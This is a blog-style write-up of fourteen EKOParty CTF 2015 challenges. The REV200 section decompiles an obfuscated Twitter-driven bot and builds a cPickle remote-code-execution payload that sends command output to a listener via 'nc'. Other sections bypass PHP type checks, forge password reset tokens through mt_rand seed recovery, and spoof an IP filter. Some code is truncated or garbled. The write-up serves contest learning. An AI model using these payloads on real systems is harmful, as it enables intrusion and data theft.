EKOParty CTF 2015 Writeups

  1. TRV50 - Slogans
  2. TRV70 - Banner
  3. TRV80 - Mr Anderson
  4. TRV90 - SSL Attack
  5. TRV100 - Blocking Truck
  6. WEB50 - Pass Check
  7. WEB100 - Custom ACL
  8. Rand DOOM
  9. CRY50 - SCYTCrypto
  10. CRY 100 - Weird Vigenere
  11. CRY300 - VBOX DIE
  12. REV50 - Patch Me
  13. REV200 - Malware
  14. MISC50 - Olive

As I enjoyed the Pre-CTF hosted by EKOParty so much, I decided to take part in the actual CTF event. It's safe to say, I was not disappointeded!

TRV50 - Slogans


This challenge requires us to find the slogans for 2008 and 2009. After a short amount of Googleing, I come across this blog post.


EKO{Vi root y entre_What if r00t was one of us?}

TRV70 - Banner

Find the flag in our stand! (it works too if you are not at ekoparty)

This challenge just required us to find a banner of the organisers, NULL Life. Thankfully, there was a Tweet including a photo of their banner, on their Twitter stream.




TRV80 - Mr Anderson

What is the favorite music artist of the last hacker serie? (without spaces)

The most recent series relating to hackers is ‘Mr Robot’.

After searching for Trivia on Mr Robot, I come across this (http://www.imdb.com/title/tt4158110/trivia).

Elliot can be seen writing Wish You Were Here on a CD, his collection also contains Pink Floyd albums, you can spot a Dark Side of The Moon mug in one of the episodes, and in ep 6 he talks about Pink Floyd among other artists.

Pink Floyd – nice! Our flag is now obvious.


TRV90 - SSL Attack

Name of one of the SSL attacks presented at ekoparty

There have been a number of high profile SSL vulnerabilities recently. After a few tries in Google, we come across the correct answer. I could of just tried all of the names of the recent 'branded' attacks, but oh well.


TRV100 - Blocking Truck

There is a blue truck blocking the event entrance, can you tell us what is the URL to contact them (as it can be seen)?

After checking Twitter and the various sites linked from the CTF site, I came up empty. I decided to check on Google Maps Street View, and came up with the answer. We can see a Blue Truck outside the EKOPARTY location.


WEB50 - Pass Check

There is something wrong with our pass validation, find it and get the flag. http://ctfchallenges.ctf.site:10000/passcheck/

This challenge requires that we send a pin. The site will return 'wrong' if it is not correct.

The comparison is not type safe, so if we send an array we can bypass the check all together.


POST http://ctfchallenges.ctf.site:10000/passcheck/index.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: http://ctfchallenges.ctf.site:10000/passcheck/
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Host: ctfchallenges.ctf.site:10000

Response headers


HTTP/1.1 200 OK
Date: Thu, 22 Oct 2015 12:35:36 GMT
Server: Apache
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 98
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Response body

<?php die();
Binary safe string comparison? right...
Your flag is EKO{strcmp_not_s0_s4f3}

Great - there's our flag!


WEB100 - Custom ACL

This admin site is protected with a self-made ACL, find a way to get the acces! http://ctfchallenges.ctf.site:10000/ipfilter/admin.php

We’re given a URL to check out, which apparently has a custom ACL implemented. Looking at the URL, I guess we’ve got an IP filter of some sort. This assumption is confirmed when we visit the file named 'admin.phps', and get the source of the script.


include ('flag.php');

if (isset($_SERVER['REMOTE_ADDR'])) $remote_ip = $_SERVER['REMOTE_ADDR'];
else die('Err');

$octets = explode('.', $remote_ip, 4);

if ($octets[0] == '67'
    && $octets[1] == '222'
    && $octets[2] == '139'
    && intval($octets[3]) >= 223
    && intval($octets[3]) <= 230) {
    if (isset($_POST['admin'])) {
        $admin = $_POST['admin'];
        $is_admin = 1;
        print strlen($admin);
        if (strlen($admin) == 256) {
            for ($i = 0; $i < 256; $i++) {
                if ($admin[$i] != chr($i)) $is_admin = 0;
        } else $is_admin = 0;
        if ($is_admin == 1) echo "Your flag is $flag";
        else  die('Err');
    } else die('Err');
} else die('Err');

So, our IP needs to be in the range of ‘’. Let’s do a port scan on that range (sorry guys - there was later a note added to NOT scan the IPs).

The only host that reports as being up is

Nmap scan report for serverIP223.runnable.com (
Host is up (0.14s latency).
Not shown: 997 closed ports
22/tcp   open  ssh        OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: 1024 1e:36:bf:af:9c:a5:c7:82:87:8c:6f:50:15:79:34:6a (DSA)
| 2048 35:4d:b8:aa:70:80:6b:1e:7d:4c:68:15:ae:ec:73:8d (RSA)
|_256 c4:1e:4a:e3:b9:fd:3b:28:fa:7f:68:b8:b7:75:9f:97 (ECDSA)
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          36986/udp  status
|_  100024  1          50078/tcp  status
3128/tcp open  tcpwrapped
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Uptime guess: 4.341 days (since Sun Oct 18 07:25:49 2015)
Network Distance: 13 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
1   0.30 ms
2   0.45 ms
3   0.76 ms
4   134.39 ms ae-6.r02.amstnl02.nl.bb.gin.ntt.net (
5   7.56 ms   ae-4.r23.londen03.uk.bb.gin.ntt.net (
6   104.28 ms ae-5.r23.asbnva02.us.bb.gin.ntt.net (
7   94.48 ms  ae-0.r22.asbnva02.us.bb.gin.ntt.net (
8   129.40 ms ae-6.r22.dllstx09.us.bb.gin.ntt.net (
9   91.37 ms  ae-0.r22.asbnva02.us.bb.gin.ntt.net (
10  131.64 ms ae-6.r22.dllstx09.us.bb.gin.ntt.net (
11  129.38 ms Jcore4.0.dal.colo4.com (
12  132.22 ms xe-0-4-0-12.r01.dllstx04.us.ce.gin.ntt.net (
13  139.50 ms serverIP223.runnable.com (

Visiting port 3128 comes back with a 501 error, stating the GET method is unavailable.

HTTP/1.1 501 method 'GET' not available
Cache-Control: max-age=0
Connection: close
Date: Thu, 22 Oct 2015 19:38:58 GMT
Pragma: no-cache
Server: pve-api-daemon/3.0
Expires: Thu, 22 Oct 2015 19:38:58 GMT
A CONNECT request comes back with a 401, stating an invalid ticket.

HTTP/1.1 401 invalid ticket
Cache-Control: max-age=0
Connection: close
Date: Thu, 22 Oct 2015 19:40:21 GMT
Pragma: no-cache
Server: pve-api-daemon/3.0
Expires: Thu, 22 Oct 2015 19:40:21 GMT
I Google for the server string ‘pve-api-daemon/3.0’.

This looks like a daemon for Proxmox. A dead end I think..however I look at the nmap results again.

The tracert resolves the IP to a subdomain of ‘runnable.com’. You can run your own code at http://code.runnable.com/. Let’s see if we can run some code to finish this challenge.

After performing a simple WGET call in a bash script on runnable, I check my web logs. - - [22/Oct/2015:15:43:42 -0400] "GET / HTTP/1.1" 200 3763 "-" "Wget/1.14 (linux-gnu)"

Great – the request came from our desired range. Time to finish up here.

Looking at the script above, not only does our request need to come from the above IP range, but we also need to include a POST parameter named ‘admin’, which contains all 255 ASCII characters. Fair enough..

curl -v -X POST --data "admin=%00%01%02%03%04%05%06%07%08%09%0a%0b%0c%0d%0e%0f%10%11%12%13%14%15%16%17%18%19%1a%1b%1c%1d%1e%1f%20%21%22%23%24%25%26%27%28%29%2a%2b%2c%2d%2e%2f%30%31%32%33%34%35%36%37%38%39%3a%3b%3c%3d%3e%3f%40%41%42%43%44%45%46%47%48%49%4a%4b%4c%4d%4e%4f%50%51%52%53%54%55%56%57%58%59%5a%5b%5c%5d%5e%5f%60%61%62%63%64%65%66%67%68%69%6a%6b%6c%6d%6e%6f%70%71%72%73%74%75%76%77%78%79%7a%7b%7c%7d%7e%7f%80%81%82%83%84%85%86%87%88%89%8a%8b%8c%8d%8e%8f%90%91%92%93%94%95%96%97%98%99%9a%9b%9c%9d%9e%9f%a0%a1%a2%a3%a4%a5%a6%a7%a8%a9%aa%ab%ac%ad%ae%af%b0%b1%b2%b3%b4%b5%b6%b7%b8%b9%ba%bb%bc%bd%be%bf%c0%c1%c2%c3%c4%c5%c6%c7%c8%c9%ca%cb%cc%cd%ce%cf%d0%d1%d2%d3%d4%d5%d6%d7%d8%d9%da%db%dc%dd%de%df%e0%e1%e2%e3%e4%e5%e6%e7%e8%e9%ea%eb%ec%ed%ee%ef%f0%f1%f2%f3%f4%f5%f6%f7%f8%f9%fa%fb%fc%fd%fe%ff" http://ctfchallenges.ctf.site:10000/ipfilter/admin.php
Executing Run Command: sh /root/main.sh                                                                                                                                                                                

* About to connect() to ctfchallenges.ctf.site port 10000 (#0)                                                                                                                                                         
*   Trying                                                                                                                                                                                            
* Connected to ctfchallenges.ctf.site ( port 10000 (#0)                                                                                                                                                  
> POST /ipfilter/admin.php HTTP/1.1                                                                                                                                                                                    
> User-Agent: curl/7.29.0                                                                                                                                                                                              
> Host: ctfchallenges.ctf.site:10000                                                                                                                                                                                   
> Accept: */*                                                                                                                                                                                                          
> Content-Length: 774                                                                                                                                                                                                  
> Content-Type: application/x-www-form-urlencoded                                                                                                                                                                      
* upload completely sent off: 774 out of 774 bytes                                                                                                                                                                     
< HTTP/1.1 200 OK                                                                                                                                                                                                      
< Date: Thu, 22 Oct 2015 20:37:00 GMT                                                                                                                                                                                  
< Server: Apache                                                                                                                                                                                                       
< X-Content-Type-Options: nosniff                                                                                                                                                                                      
< X-Frame-Options: sameorigin                                                                                                                                                                                          
< Content-Length: 48                                                                                                                                                                                                   
< Content-Type: text/html                                                                                                                                                                                              
256Your flag is EKO{runnable_com_31337_s3rv1c3}                                                                                                                                                                        
* Connection #0 to host ctfchallenges.ctf.site left intact                                                                                                                                                             

  Process exited successfully

Awesome – there's our flag!



Do you think this password recovery is safe? http://ctfchallenges.ctf.site:10000/randoom/

We’re given a URL. After visiting it, I find a hidden link the source which shows us the full source code of the page.


namespace RandomChallenge;


function generate_token() {
    $key = '';

    do {
        $key .= chr(mt_rand());

        $key = preg_replace('/[^\w]/', '', $key);
    } while(strlen($key) < 60);

    return $key;

function option() {
    global $option;

    switch ($option) {
        case 'request_token':
            $id = bin2hex(

            request_token($_POST['username'], generate_token(), $id);
        case 'reset_password':
            reset_password($_GET['username'], $_GET['token']);
        case 'check_login':
            check_login($_POST['username'], $_POST['password']);
        case 'recovery':


Looking at this, we can exploit two things. Firstly, it’s using mt_rand, which has been shown to be insecure (http://www.openwall.com/lists/announce/2013/11/04/1), and secondly it’s encrypting the first value from mt_rand with a key we now know.

We can exploit the knowledge gained to retrieve the first value of mt_rand, which we can then use derive the seed used and subsequently the key generated.


// Decrypt and output the initial mt_rand value
echo mcrypt_decrypt(

// Run php_mt_rand to discover the potential seeds
// and then regenerate the key

$key = '';
$seed = readline();
mt_rand(); // initial call to mt_rand for serial number
do {
  $key .= chr(mt_rand());
  $key = preg_replace('/[^\w]/', '', $key);
} while(strlen($key) < 60);

echo $key."\n";

It took a few attempts, but we were able to get a password for an arbitrary user (test in this case). Upon logging in, we’re presented with a message saying we should contact an ‘administrator’ user with any questions.

I repeat the process above for the ‘administrator’ user, log in, and am presented with the flag.

Welcome back admin, EKO{seeding_haxors_for_fun_and_profit}

There's our flag!


CRY50 - SCYTCrypto

Decrypt this strange word: ERTKSOOTCMCHYRAFYLIPL

Going off of the title of the challenge this sounds like a reference to the Scytale Cipher (https://en.wikipedia.org/wiki/Scytale).

Using this handy tool (http://www.dcode.fr/scytale-cipher), I iterate through turn numbers until we get something useful. The number of turns requires is actually 7.

The resulting plaintext is ‘EKOMYFIRSTCRYPTOCHALL’. There’s our flag!


CRY 100 - Weird Vigenere

Crack it! crypto100.zip

Going through various analysis techniques for classic Vigenere, I come up blank.

I stumble upon this tool: http://www.guballa.de/vigenere-solver

After going through the variants, a solution is quickly found using the Beaufort variant.

The key is found as ‘wllvvvll’. The plaintext is as follows.


Our flag is found at the end of this string of text.



Someone is hidding a secret file on his system, help us finding the content of this file. crypto300.zip

We’re given a VirtualBox VM here that has a password required to start it.

Using the script from http://www.sinfocol.org/ we can retrieve the password of ‘angel’.

After starting up the VM, we try various credentials. The username of ‘root’ and the password of ‘root’ work – awesome!

Doing an ls shows a file named ‘secret_file.txt’. This contains a Base64 string reversed.


We reverse it and then decode it.

>>> from base64 import b64decode
>>> b64decode('==9Z2ZhZnYj9lYnNGblB3Xsp3eChlU'[::-1])

Cool – looks like a ROT cipher. I try various offsets, and land on the following with ROT13.


REV50 - Patch Me

Find a way to read the corrupted image! rev50.zip

This is a .net patching task. Using Reflector and Reflectrix, I invert the IF statement that checks to see if the checksum (in the last int in the provided XML file) is valid or not by switchin the 'beq.s' opcode at offset 0x45 of the 'open' function with the inverse - 'bne.un.s' Opening the patched EXE, and using the ‘File → Open’ menu item results in an image being displayed, which gives us the flag.


REV200 - Malware

Analyze the given malware and steal its info rev200.zip

For this challenge, we’re provided with a PYC file (Python bytecode) from a piece of malware. Our task is to retrieve the flag.

After decompiling using uncompyle2 (https://github.com/wibiti/uncompyle2), we can see the full source.

# 2015.10.22 22:07:29 BST
#Embedded file name: ekobot_final.py
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
if 0:
OO0o = 'ekoctf'
if 0:
    Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if len(sys.argv) != 2:
    if 0:
        IiII1IiiIiI1 / iIiiiI1IiI1I1
o0OoOoOO00 = sys.argv[1]
if 0:
    OOOo0 / Oo - Ooo00oOo00o.I1IiI
o0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'
iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'
if 0:
    iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI

def o0oO0():
    oo00 = 0
    if os.path.isfile(o0OoOoOO00):
            o00 = open(o0OoOoOO00, 'r')
            oo00 = int(o00.readline(), 10)
            oo00 = 0

    return oo00
    if 0:
        II1ii - o0oOoO00o.ooO0OO000o + ii1II11I1ii1I.ooO0OO000o - iI1Ii11111iIi

def oo(twid):
        o00 = open(o0OoOoOO00, 'w')
        if 0:
            oO0o0ooO0 - OO0O0O - IiII1IiiIiI1.ii1II11I1ii1I * iiIIIII1i1iI * ii1I
        if 0:

def oo00000o0(url):
    I11i1i11i1I = httplib2.Http('')
    Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')
    if Iiii.status == 200:
            if Iiii['content-type'][0:10] == 'text/plain':
                return OOO0O
            return 'Err'
            return 'Err'

        return url
        if 0:

def IiI1i(cipher_text):
        OOo0o0 = RSA.importKey(open('ekobot.pem').read())
        O0OoOoo00o = b64decode(cipher_text)
        iiiI11 = OOo0o0.decrypt(O0OoOoo00o)
        return iiiI11
    except Exception as OOooO:
        print str(OOooO)
        return 'Err'
        if 0:
            OOOo0 + Oo / ii1II11I1ii1I * iiiii

II111iiii = Twython(o0OOO, iIiiiI, oauth_version=2)
II = II111iiii.obtain_access_token()
II111iiii = Twython(o0OOO, access_token=II)
if 0:
    Oo % ii1I
oo00 = o0oO0()
o0oOo0Ooo0O = II111iiii.search(q='#' + OO0o, rpp='250', result_type='mixed', since_id=oo00)
if 0:
    I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00o
for OooO0OO in o0oOo0Ooo0O['statuses']:
    if OooO0OO['id'] > oo00:
        oo00 = OooO0OO['id']
        if 0:
    iii11iII = 0
        for i1I111I in OooO0OO['entities']['hashtags']:
            if i1I111I['text'] == OO0o:
                iii11iII = 1

        if iii11iII == 1:
            for i11I1IIiiIi in OooO0OO['entities']['urls']:
                if os.fork() == 0:
                    IiIiIi = IiI1i(oo00000o0(i11I1IIiiIi['url']))
                    if IiIiIi[0:5] == 'eko11':
                    if 0:

    except Exception as OOooO:
        print str(OOooO)
        if 0:
            ii1II11I1ii1I + ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1


So, after walking through this script, it’s essentially watching for any Twitter status messages using the hashtag ‘#ekoctf’. It will then proceed to extract a URL from the Tweet and fetch it (HTTP only). It will then Base64 decode the content of the file (if its mime type matches ‘text/plain’. It will then decrypt the text using a private key. If the resulting plaintext starts with the text ‘eko11’, it will then unpickle all the text after the 5th character. This of course means we should be able to execute arbitrary code.

First of all, we need the public key. After trawling Twitter for the #ekoctf hashtag, I come across this (https://twitter.com/NullLifeTeam/status/657208358408204288) Tweet.

NULL Life CTF Team ‏@NullLifeTeam  17h hours ago
This could be interesting! https://paste.null-life.com/#/BXqHo9SH+9AS7qpNuADaV/FPwY3WoZ6hgGCb5mP54IhoGQrv+E0TP/Q0 … #ekoctf

The link points to this URL, which contains a Public RSA key.

-----END PUBLIC KEY-----

Great, time to build our payload

from Crypto.PublicKey import RSA
from base64 import *
import os
import cPickle

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls | nc 6666',))

payload = 'eko11%s'%cPickle.dumps(Exploit())

f = open(public_key_file, 'r')
publicKey = RSA.importKey(f.read(),None)

print b64encode(publicKey.encrypt(payload, None)[0])

The output of this script is as follows.


Now, on our test machine, we’ll listen on port 6666 (IP obfuscated)

nc -l 6666

Next, I upload the result of the above Python script to a web server, named ‘eko.txt’.

Finally, I post the following Tweet (replacing HOSTNAME with our webserver address)


Waiting for a short time (30-40 seconds), on our netcat listener we get the following data

ekobot.pem ekobot.pub ekobot_final.py flag.txt

Awesome! Let’s change the payload to read ‘flag.txt’ and return it to our listener. Waiting 30-40 seconds again after Tweeting, we are rewarded with our flag!


MISC50 - Olive

Recover the flag from this session misc50.zip

We’re given a PCAP file in this challenge. After opening it in WireShark and inspecting the various traffic sources / destinations, I found an unencrypted VNC session. Included in this VNC session were various mouse and keyboard events.

After extracting the keyboard events, we can see the user opening notepad, and entering the following text.

can you see me